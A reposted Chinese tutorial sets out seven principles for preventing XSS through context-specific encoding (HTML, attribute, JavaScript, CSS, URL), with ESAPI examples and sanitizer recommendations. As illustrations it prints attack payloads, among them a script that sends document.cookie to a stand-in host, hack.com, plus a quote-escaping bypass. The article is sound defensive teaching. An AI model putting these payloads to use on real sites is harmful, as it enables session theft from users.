防御 XSS 的七條原則

jopen 11年前發布 | 28K 次閱讀 XSS

前言

本文將會著重介紹防御XSS攻擊的一些原則,需要讀者對于XSS有所了解,至少知道XSS漏洞的基本原理,如果您對此不是特別清楚,請參考這兩篇文章:《Stored and Reflected XSS Attack》《DOM Based XSS

攻擊者可以利用XSS漏洞向用戶發送攻擊腳本,而用戶的瀏覽器因為沒有辦法知道這段腳本是不可信的,所以依然會執行它。對于瀏覽器而言,它認為這段 腳本是來自可以信任的服務器的,所以腳本可以光明正大地訪問Cookie,或者保存在瀏覽器里被當前網站所用的敏感信息,甚至可以知道用戶電腦安裝了哪些 軟件。這些腳本還可以改寫HTML頁面,進行釣魚攻擊。

雖然產生XSS漏洞的原因各種各樣,對于漏洞的利用也是花樣百出,但是如果我們遵循本文提到防御原則,我們依然可以做到防止XSS攻擊的發生。

有人可能會問,防御XSS的核心不就是在輸出不可信數據的時候進行編碼,而現如今流行的Web框架(比如Rails)大多都在默認情況下就對不可信 數據進行了HTML編碼,幫我們做了防御,還用得著我們自己再花時間研究如何防御XSS嗎?答案是肯定的,對于將要放置到HTML頁面body里的不可信 數據,進行HTML編碼已經足夠防御XSS攻擊了,甚至將HTML編碼后的數據放到HTML標簽(TAG)的屬性(attribute)里也不會產生 XSS漏洞(但前提是這些屬性都正確使用了引號),但是,如果你將HTML編碼后的數據放到了<SCRIPT>標簽里的任何地方,甚至是 HTML標簽的事件處理屬性里(如onmouseover),又或者是放到了CSS、URL里,XSS攻擊依然會發生,在這種情況下,HTML編碼不起作 用了。所以就算你到處使用了HTML編碼,XSS漏洞依然可能存在。下面這幾條規則就將告訴你,如何在正確的地方使用正確的編碼來消除XSS漏洞。

 

原則1:不要在頁面中插入任何不可信數據,除非這些數已經據根據下面幾個原則進行了編碼

第一條原則其實是“Secure By Default”原則:不要往HTML頁面中插入任何不可信數據,除非這些數據已經根據下面幾條原則進行了編碼。

之所以有這樣一條原則存在,是因為HTML里有太多的地方容易形成XSS漏洞,而且形成漏洞的原因又有差別,比如有些漏洞發生在HTML標簽里,有 些發生在HTML標簽的屬性里,還有的發生在頁面的<Script>里,甚至有些還出現在CSS里,再加上不同的瀏覽器對頁面的解析或多或少 有些不同,使得有些漏洞只在特定瀏覽器里才會產生。如果想要通過XSS過濾器(XSS Filter)對不可信數據進行轉義或替換,那么XSS過濾器的過濾規則將會變得異常復雜,難以維護而且會有被繞過的風險。

所以實在想不出有什么理由要直接往HTML頁面里插入不可信數據,就算是有XSS過濾器幫你做過濾,產生XSS漏洞的風險還是很高。

<script>…不要在這里直接插入不可信數據…</script>直接插入到SCRIPT標簽里<!– …不要在這里直接插入不可信數據… –>

插入到HTML注釋里

 

<div 不要在這里直接插入不可信數據=”…”></div>

插入到HTML標簽的屬性名里

 

<div name=”…不要在這里直接插入不可信數據…”></div>

插入到HTML標簽的屬性值里

 

<不要在這里直接插入不可信數據 href=”…”></a>

作為HTML標簽的名字

 

<style>…不要在這里直接插入不可信數據…</style>

直接插入到CSS里

最重要的是,千萬不要引入任何不可信的第三方JavaScript到頁面里,一旦引入了,這些腳本就能夠操縱你的HTML頁面,竊取敏感信息或者發起釣魚攻擊等等。

 

原則2:在將不可信數據插入到HTML標簽之間時,對這些數據進行HTML Entity編碼

在這里相當強調是往HTML標簽之間插入不可信數據,以區別于往HTML標簽屬性部分插入不可信數據,因為這兩者需要 進行不同類型的編碼。當你確實需要往HTML標簽之間插入不可信數據的時候,首先要做的就是對不可信數據進行HTML Entity編碼。比如,我們經常需要往DIV,P,TD這些標簽里放入一些用戶提交的數據,這些數據是不可信的,需要對它們進行HTML Entity編碼。很多Web框架都提供了HTML Entity編碼的函數,我們只需要調用這些函數就好,而有些Web框架似乎更“智能”,比如Rails,它能在默認情況下對所有插入到HTML頁面的數 據進行HTML Entity編碼,盡管不能完全防御XSS,但著實減輕了開發人員的負擔。

<body>…插入不可信數據前,對其進行HTML Entity編碼…</body><div>…插入不可信數據前,對其進行HTML Entity編碼…</div><p>…插入不可信數據前,對其進行HTML Entity編碼…</p>以此類推,往其他HTML標簽之間插入不可信數據前,對其進行HTML Entity編碼

[編碼規則]

那么HTML Entity編碼具體應該做哪些事情呢?它需要對下面這6個特殊字符進行編碼:

&     –>     &amp;

<     –>     &lt;

>     –>     &gt;

”     –>     &quot;

‘     –>     &#x27;

/     –>     &#x2f;

有兩點需要特別說明的是:

  • 不推薦將單引號( ‘ )編碼為 &apos; 因為它并不是標準的HTML標簽
  • 需要對斜杠號( / )編碼,因為在進行XSS攻擊時,斜杠號對于關閉當前HTML標簽非常有用

推薦使用OWASP提供的ESAPI函數庫,它提供了一系列非常嚴格的用于進行各種安全編碼的函數。在當前這個例子里,你可以使用:

String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

 

原則3:在將不可信數據插入到HTML屬性里時,對這些數據進行HTML屬性編碼

這條原則是指,當你要往HTML屬性(例如width、name、value屬性)的值部分(data value)插入不可信數據的時候,應該對數據進行HTML屬性編碼。不過需要注意的是,當要往HTML標簽的事件處理屬性(例如 onmouseover)里插入數據的時候,本條原則不適用,應該用下面介紹的原則4對其進行JavaScript編碼。

<div attr=…插入不可信數據前,進行HTML屬性編碼…></div>屬性值部分沒有使用引號,不推薦<div attr=’…插入不可信數據前,進行HTML屬性編碼…’></div>

屬性值部分使用了單引號

 

<div attr=”…插入不可信數據前,進行HTML屬性編碼…”></div>

屬性值部分使用了雙引號

[編碼規則]

除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 &#xHH; (以&#x開頭,HH則是指該字符對應的十六進制數字,分號作為結束符)

之所以編碼規則如此嚴格,是因為開發者有時會忘記給屬性的值部分加上引號。如果屬性值部分沒有使用引號的話,攻擊者很容易就能閉合掉當前屬性,隨后 即可插入攻擊腳本。例如,如果屬性沒有使用引號,又沒有對數據進行嚴格編碼,那么一個空格符就可以閉合掉當前屬性。請看下面這個攻擊:

假設HTML代碼是這樣的:

<div width=$INPUT> …content… </div>

攻擊者可以構造這樣的輸入:

x onmouseover=”javascript:alert(/xss/)”

最后,在用戶的瀏覽器里的最終HTML代碼會變成這個樣子:

<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>

只要用戶的鼠標移動到這個DIV上,就會觸發攻擊者寫好的攻擊腳本。在這個例子里,腳本僅僅彈出一個警告框,除了惡作劇一下也沒有太多的危害,但是在真實的攻擊中,攻擊者會使用更加具有破壞力的腳本,例如下面這個竊取用戶cookie的XSS攻擊:

x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div

除了空格符可以閉合當前屬性外,這些符號也可以:

%     *     +     ,     –     /     ;     <     =     >     ^     |     `(反單引號,IE會認為它是單引號)

可以使用ESAPI提供的函數進行HTML屬性編碼:

String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));

 

原則4:在將不可信數據插入到SCRIPT里時,對這些數據進行SCRIPT編碼

這條原則主要針對動態生成的JavaScript代碼,這包括腳本部分以及HTML標簽的事件處理屬性(Event Handler,如onmouseover, onload等)。在往JavaScript代碼里插入數據的時候,只有一種情況是安全的,那就是對不可信數據進行JavaScript編碼,并且只把這 些數據放到使用引號包圍起來的值部分(data value)之中,例如:

<script>

var message = “<%= encodeJavaScript(@INPUT) %>”;

</script>

除此之外,往JavaScript代碼里其他任何地方插入不可信數據都是相當危險的,攻擊者可以很容易地插入攻擊代碼。

<script>alert(‘…插入不可信數據前,進行JavaScript編 碼…’)</script>值部分使用了單引號<script>x = “…插入不可信數據前,進行JavaScript編碼…”</script>

值部分使用了雙引號

 

<div onmouseover=”x=’…插入不可信數據前,進行JavaScript編碼…’ “</div>

值部分使用了引號,且事件處理屬性的值部分也使用了引號

特別需要注意的是,在XSS防御中,有些JavaScript函數是極度危險的,就算對不可信數據進行JavaScript編碼,也依然會產生XSS漏洞,例如:

<script>

window.setInterval(‘…就算對不可信數據進行了JavaScript編碼,這里依然會有XSS漏洞…’);

</script>

 

[編碼規則]

除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 \xHH (以 \x 開頭,HH則是指該字符對應的十六進制數字)

在對不可信數據做編碼的時候,千萬不能圖方便使用反斜杠( \ )對特殊字符進行簡單轉義,比如將雙引號 ” 轉義成 \” ,這樣做是不可靠的,因為瀏覽器在對頁面做解析的時候,會先進行HTML解析,然后才是JavaScript解析,所以雙引號很可能會被當做HTML字符 進行HTML解析,這時雙引號就可以突破代碼的值部分,使得攻擊者可以繼續進行XSS攻擊。例如:

假設代碼片段如下:

<script>

var message = ” $VAR “;

</script>

 

攻擊者輸入的內容為:

\”; alert(‘xss’);//

 

如果只是對雙引號進行簡單轉義,將其替換成 \” 的話,攻擊者輸入的內容在最終的頁面上會變成:

<script>

var message = ” \\”; alert(‘xss’);// “;

</script>

 

瀏覽器在解析的時候,會認為反斜杠后面的那個雙引號和第一個雙引號相匹配,繼而認為后續的alert(‘xss’)是正常的JavaScript腳本,因此允許執行。

可以使用ESAPI提供的函數進行JavaScript編碼:

String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));

 

原則5:在將不可信數據插入到Style屬性里時,對這些數據進行CSS編碼

當需要往Stylesheet,Style標簽或者Style屬性里插入不可信數據的時候,需要對這些數據進行CSS編碼。傳統印象里CSS不過是 負責頁面樣式的,但是實際上它比我們想象的要強大許多,而且還可以用來進行各種攻擊。因此,不要對CSS里存放不可信數據掉以輕心,應該只允許把不可信數 據放入到CSS屬性的值部分,并進行適當的編碼。除此以外,最好不要把不可信數據放到一些復雜屬性里,比如url, behavior等,只能被IE認識的Expression屬性允許執行JavaScript腳本,因此也不推薦把不可信數據放到這里。

<style>selector { property : …插入不可信數據前,進行CSS編碼…} </style><style>selector { property : ” …插入不可信數據前,進行CSS編碼… “} </style> 

<span style=” property : …插入不可信數據前,進行CSS編碼… ”> … </span>

 

[編碼規則]

除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 \HH (以 \ 開頭,HH則是指該字符對應的十六進制數字)

同原則2,原則3,在對不可信數據進行編碼的時候,切忌投機取巧對雙引號等特殊字符進行簡單轉義,攻擊者可以想辦法繞開這類限制。

可以使用ESAPI提供的函數進行CSS編碼:

String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));

 

原則6:在將不可信數據插入到HTML URL里時,對這些數據進行URL編碼

當需要往HTML頁面中的URL里插入不可信數據的時候,需要對其進行URL編碼,如下:

<a href=”http://www.abcd.com?param=…插入不可信數據前,進行URL編碼…”> Link Content </a>

[編碼規則]

除了阿拉伯數字和字母,對其他所有的字符進行編碼,只要該字符的ASCII碼小于256。編碼后輸出的格式為 %HH (以 % 開頭,HH則是指該字符對應的十六進制數字)

在對URL進行編碼的時候,有兩點是需要特別注意的:

1) URL屬性應該使用引號將值部分包圍起來,否則攻擊者可以很容易突破當前屬性區域,插入后續攻擊代碼

2) 不要對整個URL進行編碼,因為不可信數據可能會被插入到href, src或者其他以URL為基礎的屬性里,這時需要對數據的起始部分的協議字段進行驗證,否則攻擊者可以改變URL的協議,例如從HTTP協議改為DATA偽協議,或者javascript偽協議。

可以使用ESAPI提供的函數進行URL編碼:

String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));

ESAPI還提供了一些用于檢測不可信數據的函數,在這里我們可以使用其來檢測不可信數據是否真的是一個URL:

String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);if (isValidURL) {

<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>

}

 

原則7:使用富文本時,使用XSS規則引擎進行編碼過濾

Web應用一般都會提供用戶輸入富文本信息的功能,比如BBS發帖,寫博客文章等,用戶提交的富文本信息里往往包含了HTML標簽,甚至是 JavaScript腳本,如果不對其進行適當的編碼過濾的話,則會形成XSS漏洞。但我們又不能因為害怕產生XSS漏洞,所以就不允許用戶輸入富文本, 這樣對用戶體驗傷害很大。

針對富文本的特殊性,我們可以使用XSS規則引擎對用戶輸入進行編碼過濾,只允許用戶輸入安全的HTML標簽,如<b>, <i>, <p>等,對其他數據進行HTML編碼。需要注意的是,經過規則引擎編碼過濾后的內容只能放在<div>, <p>等安全的HTML標簽里,不要放到HTML標簽的屬性值里,更不要放到HTML事件處理屬性里,或者放到<SCRIPT> 標簽里。

推薦XSS規則過濾引擎:OWASP AntiSamp或者Java HTML Sanitizer

 

總結

由于很多地方都可能產生XSS漏洞,而且每個地方產生漏洞的原因又各有不同,所以對于XSS的防御來說,我們需要在正確的地方做正確的事情,即根據不可信數據將要被放置到的地方進行相應的編碼,比如放到<div>標簽之間的時候,需要進行HTML編碼,放到<div>標簽屬性里的時候,需要進行HTML屬性編碼,等等。

XSS攻擊是在不斷發展的,上面介紹的幾條原則幾乎涵蓋了Web應用里所有可能出現XSS的地方,但是我們仍然不能掉以輕心,為了讓Web應用更加安全,我們還可以結合其他防御手段來加強XSS防御的效果,或者減輕損失:

  • 對用戶輸入進行數據合法性驗證,例如輸入email的文本框只允許輸入格式正確的email,輸入手機號碼的文本框只允許填入數字且格式需要正確。這類合法性驗證至少需要在服務器端進行以防止瀏覽器端驗證被繞過,而為了提高用戶體驗和減輕服務器壓力,最好也在瀏覽器端進行同樣的驗證。
  • 為Cookie加上HttpOnly標記。許多XSS攻擊的目標就是竊取用戶Cookie,這些 Cookie里往往包含了用戶身份 認證信息(比如SessionId),一旦被盜,黑客就可以冒充用戶身份盜取用戶賬號。竊取Cookie一般都會依賴JavaScript讀取 Cookie信息,而HttpOnly標記則會告訴瀏覽器,被標記上的Cookie是不允許任何腳本讀取或修改的,這樣即使Web應用產生了XSS漏 洞,Cookie信息也能得到較好的保護,達到減輕損失的目的。

Web應用變得越來越復雜,也越來越容易產生各種漏洞而不僅限于XSS漏洞,沒有銀彈可以一次性解決所有安全問題,我們只能處處留意,針對不同的安全漏洞進行針對性的防御。

希望本文介紹的幾條原則能幫助你成功防御XSS攻擊,如果你對于XSS攻擊或防御有任何的見解或疑問的話,歡迎留言討論,謝謝。

 

附,各種編碼對比表

不可信數據將被放置的地方 例子 應該采取的編碼 編碼格式
HTML標簽之間 <div> 不可信數據 </div> HTML Entity編碼 &     –>     &amp;<     –>     &lt;>     –>     &gt;”     –>     &quot;

‘     –>     &#x27;

/     –>     &#x2f;

HTML標簽的屬性里 <input type=”text”value=” 不可信數據 ” /> HTML Attribute編碼 &#xHH;
JavaScript標簽里 <script> var msg = ” 不可信數據 ” </script> JavaScript編碼 \xHH
HTML頁面的URL里 <a href=”/page?p= 不可信數據 ” >…</a> URL編碼 %HH
CSS里 <div style=” width: 不可信數據 ” > … </div> CSS編碼 \HH

 

原文出處: webappsecuritylab

 本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!